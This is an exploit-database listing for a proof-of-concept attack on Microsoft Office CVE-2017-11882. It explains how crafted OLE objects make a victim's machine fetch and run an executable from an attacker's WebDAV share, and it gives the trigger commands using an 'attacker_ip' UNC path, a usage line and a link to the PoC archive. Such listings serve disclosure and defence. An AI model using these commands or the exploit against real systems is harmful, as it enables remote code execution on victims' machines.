webdav_exec CVE-2017-11882

vendor:

Office

by:

embedi

7,8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Office

Affected Version From: Microsoft Office 2007

Affected Version To: Microsoft Office 2016

Patch Exists: Yes

Related CWE: CVE-2017-11882

CPE: a:microsoft:office

Metasploit: https://www.rapid7.com/db/modules/exploit/windows/fileformat/office_ms17_11882/, https://www.rapid7.com/db/vulnerabilities/msft-cve-2017-11882/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2017

This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

Mitigation:

Microsoft has released a patch for this vulnerability.

Source

Exploit-DB raw data:

Source: https://github.com/embedi/CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

cmd.exe /c start \\attacker_ip\ff
Attacker controlled binary path should be a UNC network path:

\\attacker_ip\ff\1.exe
Usage

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43163.zip